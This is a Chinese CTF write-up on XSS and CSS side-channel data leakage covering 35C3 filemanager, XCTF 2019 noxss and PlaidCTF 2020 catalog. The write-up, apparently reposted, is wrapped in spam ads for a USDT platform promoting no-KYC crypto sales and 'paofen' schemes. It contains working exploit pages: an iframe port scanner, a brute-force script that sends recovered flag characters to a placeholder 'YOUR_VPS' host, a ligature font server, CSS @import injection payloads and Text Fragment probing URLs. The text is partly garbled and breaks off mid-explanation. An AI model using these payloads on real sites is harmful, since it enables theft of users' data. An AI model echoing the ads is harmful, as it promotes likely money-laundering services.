USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

前言

近期学习总结了一下侧信道相关的知识,做了几道典型的题。这几道题许多师傅也写过详细的wp,在参考师傅们思绪的基础上复现了一下(膜师傅们),文章的内容主要是把这几道题的知识点拎出来总结了一下。第一次投稿,师傅们轻喷,若是有说的纰谬的地方,迎接师傅们交流指正quq。

侧信道攻击简介

侧信道攻击的看法泉源于密码学,下面是 *** 对其的注释:

在密码学中,旁道攻击又称侧信道攻击边信道攻击(英语:Side-channel attack)是一种攻击方式,它基于从密码系统的物理中获取的信息而非暴力破解法或是算法中的理论性弱点(较之密码剖析)。例如:时间信息、功率消耗、电磁]泄露或甚是声音可以提供分外的信息泉源,这可被行使于对系统的进一步破解。某些侧信道攻击还要求攻击者有关于密码系统内部操作的手艺性信息,不外,其他诸如差分电力剖析的方式在黑盒攻击中效果显著。许多卓有成效的侧信道攻击基于由保罗·科切开拓的统计学方式。

简朴来说,侧信道就是行使侧信息(Side Channel)来高效地绕过或突破某些防御,而阻止一些低效的爆破等。对于XSS侧信道,大多是行使一些可能有利于XSS但又并非属于XSS代码自己局限的特征来绕过一些Waf从而实现侧信道攻击,而XSS侧信道攻击的效果拓展了XSS的某些"鸡肋",加倍巧妙的泄露出数据进而获取。

下面我们通过几道问题来学习关于XSS侧信道的相关知识点

35C3 CTF filemanager

这道题重点考察了以下内容

  1. iframe的onload

  2. XSS Auditor特征

  3. 行使侧信道读取数据并外带数据

问题说明

Check out my web-based filemanager running at https://filemanager.appspot.com.
The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1

问题一最先给了两个接口,给出了地址的web应用和治理员入口:nc 35.246.157.192 1

1.web应用

  1. 确立文件:可以自界说文件名,文件内容,并对文件举行存储,header中设置了xsrf = 1来防止csrf文件读取:

  2. 文件读取:GET请求,且响应头中界说

content-type:text/plain
x-content-type-options: nosniff
  1. 文本查询:若是文本不存在将会返回<h1>no results</h1>,若是文本存在,将会返回
<h1>test</h1>
  <pre>diggid</pre>

  <script>
    (()=>{
      for (let pre of document.getElementsByTagName('pre')) {
        let text = pre.innerHTML;
        let q = 'diggid';
        let idx = text.indexOf(q);
        pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
      }
    })();
  </script>

上面这段代码的作用就是高亮已存在的文本内容diggid

2.nc接口

nc连上去后,会要求用Node.js的proof-of-work包举行验证盘算,相当于一层简朴的验证码,用一行下令即可算出验证码并提交:

proof-of-work <prefix> <difficulty>

校验乐成就可以输入一个URL,治理员bot会接见这个URL(显然是模拟用户接见恶意组织的页面)

3.目的

问题说明中告诉了我们flag被admin用户存储了起来,若是是以admin用户的身份接见这个web应用,我们行使文本查询的功效可以获取flag。

iframe的onload

行使iframe的onload和chrome-error://chromewebdata/可以用来举行端口扫描,Chrome浏览器中的iframe标签,在对一个URL发送请求时,添加onload事宜,无论是否请求乐成,都市触发onload事宜,但要注重:只有URL改变时才会触发onload事宜,添加锚点而URL未改变不会触发onload事宜。当浏览器在向一个没有被服务器监听的端口发送请求时,显示错误页面,此时URL变为chrome-error://chromewebdata/。端口扫描的代码如下:

<script>
    var iframe = document.createElement('iframe');
    var url = "http://192.168.170.129:6666/"; 
    iframe.onload = () => {
        iframe.onload = () => {
            console.log('端口不存在');
        };
        iframe.src = iframe.src + ",";
    };
    iframe.src = url;
    document.body.appendChild(iframe);
</script>

先给iframe设置好onload事宜和url(该url为要探测的地址+端口),在外层onload事宜内部,修改url为url + ,,并在内部重新界说了onload事宜。

  • 若是端口存在,则当资源加载完毕后,触发外层onload事宜,而此时iframe.src仍为原来的URL,内部的onload事宜不会触发

  • 若是端口不存在,此时的iframe.src变为chrome-error://chromewebdata/,URL改变重新请求新的资源,触发内层onload事宜,从而打印出端口不存在

关于onload事宜,还要注重的是,若是有多层onload,当改变URL时,只触发与修改URL语句就近的那层onload

上述代码还可以替换为用计数器来纪录外层onload事宜的触发次数,从而判断URL是否改变

<script>
    var iframe = document.createElement('iframe');
    var url = "http://192.168.170.129:6666/"; 
    var count = 0;
    iframe.onload = () => {
        count++;
        if(count > 1){
            console.log("端口不存在");
        }
        if(count < 2){ //防止无限onload
            iframe.src = iframe.src + ",";
        }
    };
    iframe.src = url;
    document.body.appendChild(iframe);
</script>

XSS Auditor 和 chrome-error

Chrome中存在一个特征XSS Auditor:当在请求中匹配到了源码中的剧本,则会阻止该请求,并跳转到chrome-error://chromewebdata/(或者扫描到没有监听服务的端口也会跳转到该页面)。前面所说的文本查询部门,乐成或失败存在两种状态,假设我们提交了如下URL

https://filemanager.appspot.com/search?q=diggid&%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b

假设文本中存在diggid,因此就会返回查询乐成时的代码,同时检测到URL中存在和代码相同的部门,则会阻止该请求并跳转到chrome-error://chromewebdata/(对应上面端口扫描不存在的情形)。假设文本中不存在diggid,则会返回<h1>no results</h1>,页面不会跳转。这一部门就和上面的端口扫描的头脑一样了。因此爆破flag的思绪就对照清晰了,上述原理就是行使了侧信道的头脑来获取数据。

数据外带

梳理以下爆flag的流程:1.组织侧信道获取flag的页面;2.发送给治理员bot接见

治理员bot接见后爆出的flag我们没设施获取,这里有两种方式来使得数据外带:

  1. 在爆破出flag的情形(onload触发两次)内再加一层onload,修改iframe.src = 'http://YOUR_VPS:PORT/?flag='+encodeURIComponent(flag + char),也就是说每次爆出字符后,会请求自己vps,vps上监听一下就可以获得数据回显了

  2. 若是是内陆测试(flag放在内陆),治理员bot的身份相当于自己,接见之后数据可以回显到自己浏览器中。可以将方式1替换为console.log(encodeURIComponent(flag + char))

行使代码

我们凭证上面的头脑组织行使代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<script>
    var URL = 'https://filemanager.appspot.com/search?q=flag&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b';
    var charset = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!",$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
    var flag = '35C3'; /*35C3_xss_auditor_for_the_win*/
    function GetFlag(i, flag) {
        if(i >= 94)
            return;
        var real_flag = flag + charset[i];
        var iframe = document.createElement('iframe');
        var count = 0;
        iframe.onload = function () {
            count++;
            if (count > 1) {
                flag = real_flag;
                i = -1; //递归重置
                iframe.onload = () => {}; //发送请求外带数据
                iframe.src = 'http://YOUR_VPS:PORT/?flag=' + encodeURIComponent(real_flag);  外带数据
            }
            iframe.src = iframe.src + ',';
        };
        iframe.src = URL.replace('flag', real_flag);
        document.body.appendChild(iframe);
        timer = setTimeout(() => {  
            document.body.removeChild(iframe);
            GetFlag(i + 1, flag);
        }, 2000); //设置延时保证onload加载完成
    }
    GetFlag(0, flag);
</script>
</body>
</html>

将上述代码保留为exp.html,发送URL给治理员bot接见,最后在自己vps的log中可以获得flag

参考

https://www.secpulse.com/archives/94995.html

https://xz.aliyun.com/t/3778,toc-1

https://github.com/sroettger/35c3ctf_chals

XCTF 2019 Final noxss

在做这道题之前,我们需要先领会一些前置知识,问题场景简化如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<input type=hidden value=<?=$token1 ?>>
<script>
    var TOKEN = "<?=$token2 ?>";
</script>

<style>
    <?=preg_replace(',</style,i', ',', $_GET['css']) ?>
</style>
</body>
</html>

问题要求对照简朴,设置了两个token,第一个需要从<input>标签获取,第二个需要从<script>中获取,可控的部门只有$_GET['css']传入的css参数,其夹在<style>标签中,也就是说这个css参数实在也就是css样式。因此我们需要行使css侧信道来搞事情。关于token1若何获取,由于篇幅缘故原由,这里就不外多注释了。主要来看和该题相关的token2若何获取。

获取<script>中的token2

demo

在获取token2之前,我们先领会一下什么是连字

字体中的连字至少由两个具有图形形式的字符序列组成。多个字符序列组成的连字就代表一个字符,其在Unicode中有响应的字符编码。调整字距不会影响连字中字符序列的距离。最常见的有fi的连字。更多详细的说明可参考:

  • http://www.mzh.ren/ligature-intro.html
  • https://webzhao.me/ligatures.html

我们可以行使fontforge(安装fontforge)来自界说天生字体(包罗连字)

现代浏览器已经不支持 SVG 花样的字体了,我们可以行使 fontforge 将 SVG 花样转换成 WOFF 花样

准备一个script.fontforge文件将.svg转换为.woff

,!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

再准备我们组织好的test.svg文件,该文件中界说了名为diggid的字体,该字体中有:a-z 26个0宽度字母,hack这个宽度为9000的连字

<svg>
  <defs>
    <font id="diggid" horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
      <missing-glyph />
      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
      <glyph unicode="hack" horiz-adv-x="9000" d="M1 0z"/>
    </font>
  </defs>
</svg>

执行以下下令天生test.woff文件

fontforge ./script.fontforge test.svg

接下来我们需要行使连字来搞一些事情。由于我们上面的字体中设置了hack连字,其字体宽度为9000,若是通过牢靠巨细的iframe框引入时由于其宽渡过大以是会泛起转动条,则在css代码中触发转动条事宜发出URL请求

<style>
        @font-face {
            font-family: "hack";
            src: url("./test.woff"); //引入字体
        }
        span {
            background: lightblue;
            font-family: "hack";
        }
        body {
            white-space: nowrap; //宽渡过长不换行,保证泛起横向的转动条
        }
        body::-webkit-scrollbar {
            background: blue;
        }
        body::-webkit-scrollbar:horizontal { 
            background: url(http://127.0.0.1:8888); //泛起转动条提议请求给内陆的8888端口
        }
</style>

将上述页面保留在test.html中

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
    <style>
        @font-face {
            font-family: "hack";
            src: url("./test.woff");
        }
        span {
            background: lightblue;
            font-family: "hack";
        }
        body {
            white-space: nowrap;
        }
        body::-webkit-scrollbar {
            background: blue ;
        }
        body::-webkit-scrollbar:horizontal {
            background: url(http://127.0.0.1:8888);
        }
    </style>
    <span id=span>0807hack</span>
</body>
</html>

若是直接接见上述页面的话,宽度不够不会泛起转动条。以是需要通过另一个页面通过iframe标签引入

iframe.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
    <iframe src="http://127.0.0.1/noxss/test.html" frameborder="0" width="100px"></iframe>
</body>
</html>

内陆监听8888端口然后浏览器接见iframe.html页面

可以看到乐成发出请求到8888端口

爆破token2

凭证上面的demo我们可以知道宽度足够大的连字可以发出请求,那么我们便可以行使类似35c3的方式来爆破获得token2,将我们预测的字符串设置为连字,宽度很大,可以设置为100000,保证宽度溢出泛起转动条,且花样为xctf{*.}而其余可见字符宽度设置为0。通过控制css设置<script>标签中的字体为上述我们设置的字体,若是泛起了我们预测的连字,则会加载连字,泛起转动条进而发出请求。若是未泛起,则所有按宽度为0加载,不会泛起转动条。以上是大致的思绪,为实现自动化,我们需要准备如下:

1.部署一个天生.woff文件的服务器,凭证路由参数(预测的字符)来天生并发送.woff文件

这里直接使用那位波兰作者的代码,用nodejs起的一个服务

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 9999;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');


// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
    let font = {
        "defs": {
            "font": {
                "@": {
                    "id": "hack",
                    "horiz-adv-x": "0"
                },
                "font-face": {
                    "@": {
                        "font-family": "hack",
                        "units-per-em": "1000"
                    }
                },
                "glyph": []
            }
        }
    };

    // 将0x20-0x7e的可见字符天生宽度为0的字体
    let glyphs = font.defs.font.glyph;
    for (let c = 0x20; c <= 0x7e; c += 1) {
        const glyph = {
            "@": {
                "unicode": String.fromCharCode(c),
                "horiz-adv-x": "0",
                "d": "M1 0z",
            }
        };
        glyphs.push(glyph);
    }

    // 天生连字
    charsToLigature.forEach(c => {
        const glyph = {
            "@": {
                "unicode": prefix + c,
                "horiz-adv-x": "10000",
                "d": "M1 0z",
            }
        }
        glyphs.push(glyph);
    });

    // 行使xml剖析为.svg文件
    const xml = js2xmlparser.parse("svg", font);

    // A następnie wykorzystujemy fontforge
    // do zamiany SVG na WOFF.
    const tmpobj = tmp.dirSync();
    fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
    child_process.spawnSync("/usr/bin/fontforge", [
        `${__dirname}/script.fontforge`,
        `${tmpobj.name}/font.svg`
    ]);

    const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);

    // Usuwamy katalog tymczasowy.
    rimraf.sync(tmpobj.name);

    // I zwracamy fonta w postaci WOFF.
    return woff;
}

// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
    const { prefix, charsToLigature } = req.params;

    // Dbamy o to by font znalazł się w cache'u.
    res.set({
        'Cache-Control': 'public, max-age=600',
        'Content-Type': 'application/font-woff',
        'Access-Control-Allow-Origin': '*',
    });

    res.send(createFont(prefix, Array.from(charsToLigature)));

});

// Endpoint do przyjmowania znaków przez połączenie zwrotne
app.get("/reverse/:chars", function(req, res) {
    res.cookie('chars', req.params.chars);
    res.set('Set-Cookie', `chars=${encodeURIComponent(req.params.chars)}; Path=/`);
    res.send();
});

app.get('/cookie.js', (req, res) => {
    res.sendFile('js.cookie.js', {
        root: './node_modules/js-cookie/src/'
    });
});

app.get('/index.html', (req, res) => {
    res.sendFile('index.html', {
        root: '.'
    });
});

app.listen(PORT, () => {
    console.log(`Listening on ${PORT}...`);
})

这里只需用到/font的路由来天生并获取.woff文件。

2.挪用服务API并吸收字体用于爆破的页面test.html,设置css逐位爆破

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <script>
        var token2 = "xctf{diggid}";
    </script>
    <style>
        @font-face {
            font-family: "hack";
            src: url(http://192.168.170.129:9999/font/xctf%7b/d);
        }
        script {
            display: table;
            font-family: "hack";
            white-space: nowrap;
            background: lightblue;
        }
        body::-webkit-scrollbar {
            background: blue;
        }
        body::-webkit-scrollbar:horizontal {
            display: block;
            background: blue url(http://127.0.0.1:8888);
        }
    </style>
</body>
</html>

在demo的场景中,由于css是可控的,因此我们在<style>标签中插入响应的css内容:将script标签显示display: table,并将script标签的字体设置为从服务器吸收的字体,阻止空缺换行

3.通过iframe标签引入test.html触发转动条发送请求外带数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <iframe src="http://127.0.0.1/test.html" style="width:500px"></iframe>
</body>
</html>

然则上述历程仍不能实现自动化爆破,因此我们还需刷新一下test.html实现逐位爆破,但在现实的行使历程中,由于<script>标签剖析顺序、字体缓存等问题可能会导致行使失败,在不适当的情形下发送请求。因此我们需要改善一下触发请求的方式。

这里参考zsx师傅的做法:https://xz.aliyun.com/t/6655,toc-5

详细的思绪如下:

1.先将ifame页面宽度设置为很大(100000px),保证提前不会泛起转动条(由于iframe标签加载资源时<script>标签内容先剖析可能会先泛起转动条并触发请求,然后才剖析完字体,因此顺序欠妥)

2.隐藏页面中的所有元素,仅显示script标签的元素

3.iframe加载资源完成后,触发onload事宜,将iframe页面宽度再缩小为10px,即可让连字宽度溢出稳固触发转动条

上述历程保证了宽度溢出是连字导致的而非script标签其他内容导致的。

回到原题

基本上行使思绪和token2完全相同,然则我们需要先绕过问题限制,注入css代码。

问题中输入theme参数拼接在css样式的@import语句中

@import url("/static/css/${css}/bootstrap.min.css");

绕过import

凭证css文档,css中的换行方式如下:%0a %0d %0f

而且css的错误兼容性强,也就是说,对于一些错误的语法,css会忽略。因此我们需要行使换行来使整个import酿成错误无效的语句,从而注入我们的css代码,因此我们通过以下形式可以使import失效并注入css代码

%0a){}/*在此注入*/

对于上述payload的明白:%0a换行导致import语句失效,预测(未剖析完毕,需要)要闭合,然后再注入{}空样式来使得css语法剖析正常,之后即可随便注入css代码

可以随便注入css代码后,我们便可像上面所述思绪组织自动化的爆破页面,这里每次接见只能获得一位的flag,由于发送URL这一状态(即爆破乐成的状态)不容易获取,以是这里不思量一次性爆破整个flag的剧本。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
    <script>
        const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('');
        let prefix = "xctf{";
        charset.forEach(c => {
            var css = '?theme=\n){}'
            css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://127.0.0.1:8888/?${encodeURIComponent(prefix+c)})}`
            css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://127.0.0.1:9999/font/${prefix}/${c});}`
            css += `script{font-family:a${c.charCodeAt()};display:block}` 
            document.write(`<iframe scrolling=yes samesite src="http://127.0.0.1:60000/account/userinfo?theme=${encodeURIComponent(css)}" style="width:1000000px" onload="event.target.style.width='100px'"></iframe>`);
        });
    </script>
</body>
</html>

由于没有问题环境,自己用node.js搭建了一个类似的环境,和demo差不多。然后逐位爆破的效果如下:

参考

XCTF Final NOXSS 攻击手艺详细剖析

XCTF final 2019 Writeup By ROIS

Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

通过css注入窃取html中的数据

PlaidCTF 2020 catalog

一题比一题虾仁猪心:)

问题先容

问题的客栈 & 官方wp

问题形貌

问题给出了admin bot、flag所在页面和flag花样、四条hints。

除此之外,问题是黑盒环境,有以下几项功效:

  • 登录注册

  • 揭晓issue,admin可查看(显著要xss)

注入点

通过考察和测试可以发现三个注入点,这几个注入点对后续外带flag对照要害

,

Usdt第三方支付平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
  1. 提交issue处输入image的url时存在html注入

  2. 登录失败时,无过滤回显登录时输入的username,因此在username存在html注入

  3. 问题存在session,且session中存储html元素,若用已登录乐成的session发送一个username错误

CSP限制

问题设置了如下CSP

Content-Security-Policy: default-src 'nonce-xhncdWd319Yj3acHJbKoEWmK8stBxy88'; img-src *; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/

前置知识

要想完成这道问题,首先需要领会以下的手艺和特征

  • User Activation(暂且称为用户激活状态)

  • uBlock

  • Text Fragments

  • lattering

上述特征和看法主要和chrome浏览器的相关特征有关,下面我们详细先容

User Activation

对于这部门的知识,可以参考User Activation v2、User Activation v2 (UAv2)

对于这一看法,搜一下可以获得注释

User activation is the mechani *** to maintain active-user-interaction state that limits use of “abusable” APIs (e.g. opening popups or vibrating).

简朴来说,User Activation主要作用是保持与用户的交互状态,防止加载恶意的API,好比弹窗或者振动等。用户与浏览器的交互状态移位着某种行为的输入,可以简朴明白为"点击"、"打字"等或者页面加载完毕后的某些交互(转动条等)。恶意的API通常会通过window.open()等方式来在用户的浏览器中举行一些恶意的操作,好比随便弹窗等。而User Activation便可施展作用,其在用户为与浏览器交互,即未激活User Activation时,会阻止恶意API的功效。在chrome中,有30多种API受到用户激活状态的控制,如全屏,自动播放,另有我们下面要说的Text Fragments

uBlock

这个uBlock现在看来是配合User Activation来保持用户激活状态的。又是一段英文的注释

uBlock Origin (or uBlock) is not an ad blocker; it’s a general-purpose blocker. uBlock Origin blocks ads through its support of the Adblock Plus filter syntax. uBlock Origin extends the syntax and is designed to work with custom rules and filters. Furthermore, advanced mode allows uBlock Origin to work in default-deny mode, which mode will cause all 3rd-party network requests to be blocked by default, unless allowed by the user.

简朴来说,就是uBlock并非只是一个广告的blocker(过滤广告),其现实上可以通过自界说规则来过滤页面元素,是一个通用的blocker。除此之外,我们看到该题作者在hint中的注释

Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user activation to the active frame, uBlock sends a postMessage to its extension iframe, which duplicates the user activation. Whenever a page loads, the frontend gets a postMessage from the uBlock frame, and thus duplicates the activation back again.

我们暂且不深究uBlock代码层面的实现方式,就从hint来说的话uBlock能辅助我们多次激活用户激活状态,有利于我们接下来要说的一系列操作。

Text Fragments

这个是Chrome的特征:New in Chrome 80

在问题先容中知道,要获取flag,我们必须通过某种侧信道的方式来匹配到flag,而且凭证flag的花样/^PCTF\{[A-Z0-9_]+\}$/,我们假设flag为PCTF{FLAG},Text Fragments的特征为匹配flag提供了辅助

该特征能使用,:~:text=something这样的语法来使得页面滑动到something的位置并高亮匹配的字符串,有点类似ctrl+f的功效或者锚的作用。这里先容一下该特征的用法和坑点,详细参考: Text Fragments

  • 语法:
,:~:text=[prefix-,]textStart[,textEnd][,-suffix][&text=...]
          context  |-------match-----|  context

凭证上面的图示,前缀和后缀并非匹配到的文本,只是用于限制上下文,中央的textStarttextEnd才是真正用于匹配文本的部门

  • 只能匹配一个完整单词或多个单词,不能匹配单词中的部门

好比在文档里给出的例子,要想匹配range,只能匹配到mountain range中的,而不能匹配到color orange中的

  • 只能匹配在统一块(统一标签)中的单词
:~:text=The quick

not match:

<div>The<div> </div>quick brown fox</div>

match:

<div>The quick brown fox</div>

假设我们用,:~:text=P-,C,T,-F去flag是不乐成的,由于无法匹配单个字符,以是我们要想设施把统一块中的字符串拆分为多个字符,每个字符占一块。这就涉及下面的lettering方式

除此之外,我们还需要思量一个问题,前面的User Activation和uBlock到底有什么作用?

对应Text Fragments的机制,chrome对其作出了一些限制和注释:

The examples above illustrate that in specific circumstances, it may be possible for an attacker to extract 1 bit of information about content on the page. However, care must be taken so that such opportunities cannot be exploited to extract arbitrary content from the page by repeating the attack. For this reason, restrictions based on user activation and browsing context isolation are very important and must be implemented.

上面这段话的意思就是说:行使Text Fragments,攻击者可能会随便leak出页面内容,以是要严酷的通过User Activation来控制这一机制。还由一句弥补的注释

In summary, the text fragment directives are invoked only on full navigations that are the result of a user activation.

这里连系hint1可以领会到出题人的意图大致是:让我们行使治理员点击一个我们提交的URL链接,此时会激活User Activation,而通过uBlock我们可以保持User Activation,这样才气使用Text Fragments来leak出flag。(这里只是连系文档资料的明白,并没有从代码层面深究)。

注:首先User Activation是必须存在的,否则Text Fragments不能使用,但对于uBlock存在的意义,可以在内陆做题环境中模拟治理员,并在chrome中关闭uBlock扩展来测试原先的exp是否还能复现乐成,若不乐成,可说明简直需要uBlock配合。

lettering

在页面中引入了如下js文件

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lettering.js/0.7.0/jquery.lettering.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="/js/main.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>

而且在main.js中发现$("em").lettering();

为什么要提到这段代码呢,这里要说到lettering这个API:Lettering.js wiki - Wrapping letters with lettering())

假设有如下代码:

<h1 class="fancy_title">Some Title</h1>

当我们引入jquery.min.js和jquery.lettering.min.js这两个文件并插入如下代码

<script src="path/to/jquery.min.js"></script>
<script src="path/to/jquery.lettering.min.js"></script>
<script>
$(document).ready(function() {
  $(".fancy_title").lettering(); //选择fancy_title的内容挪用lettering()方式
});
</script>

然后会发生如下的效果

<h1 class="fancy_title">
  <span class="char1">S</span>
  <span class="char2">o</span>
  <span class="char3">m</span>
  <span class="char4">e</span>
  <span class="char5"></span>
  <span class="char6">T</span>
  <span class="char7">i</span>
  <span class="char8">t</span>
  <span class="char9">l</span>
  <span class="char10">e</span>
</h1>

也就是说,对于$("em").lettering()这段代码,问题已经提供了便利,当我们行使html代码注入插入<em>标签时,其内容会拆分为分块字符。这样也就可以配合Text Fragments举行flag的匹配了

匹配技巧

判断匹配乐成

有了上面的前置知识,这里还要组合起来行使,对于Text Fragments的匹配,我们若何判断是否选中乐成呢?在官方exp中是这样判断:

  1. 首先我们知道统一session可以存储一定的html元素,在登录状态下,仍可以行使fetch no-cors来更新界面,从而登录失败在另一个有统一session的页面下举行html代码注入

  2. 注入足够多的<br>标签,从而使flag位于页面视图之外(需要拉动转动条),然后在<br>后行使<img src='xxx' loading=lazy>来加载图片并src请求来判断,而且这个图片是懒加载机制(位于用户浏览器视图内才会加载,否则不加载)

  3. 由于一最先图片位于视图外,以是图片不加载,若是行使Text Fragments匹配到flag,则由于多个<br>,页面先转动到flag的位置,这时图片位于视图内,于是加载,设置src = 'http://vps'发送请求,通过自己的vps上是否吸收到请求来判断是否匹配到flag

图片未加载 -> 匹配到flag -> 发送请求
         -> 未匹配flag

关于图片的懒加载机制:Lazily load iframes and images via ‘loading’ attribute

只有当用户窗口页面内关注到<img>标签时,该标签才气加载对应的资源。我们可以使用<img>原生属性loading=lazy来实现,Chrome 76以后的版本都已实现了该功效

二分爆破

凭证 flag 的花样/^PCTF\{[A-Z0-9_]+\}$/,我们可以组织如下URL(包罗所有的可能字符)

http://catalog.pwni.ng/issue.php?id=3,:~:text=T-,F,{,-}&text=T-,F,{,-0&text=T-,F,{,-1&text=T-,F,{,-2&text=T-,F,{,-3&text=T-,F,{,-4&text=T-,F,{,-5&text=T-,F,{,-6&text=T-,F,{,-7&text=T-,F,{,-8&text=T-,F,{,-9&text=T-,F,{,-A&text=T-,F,{,-B&text=T-,F,{,-D&text=T-,F,{,-E&text=T-,F,{,-F&text=T-,F,{,-G&text=T-,F,{,-H&text=T-,F,{,-I&text=T-,F,{,-J&text=T-,F,{,-K&text=T-,F,{,-L&text=T-,F,{,-M&text=T-,F,{,-N&text=T-,F,{,-O&text=T-,F,{,-P&text=T-,F,{,-Q&text=T-,F,{,-R&text=T-,F,{,-S&text=T-,F,{,-T&text=T-,F,{,-U&text=T-,F,{,-V&text=T-,F,{,-W&text=T-,F,{,-X&text=T-,F,{,-Y&text=T-,F,{,-Z&text=T-,F,{,-_

我们行使二分加速爆破速率,先将所有text情形分半,假设分成如下:

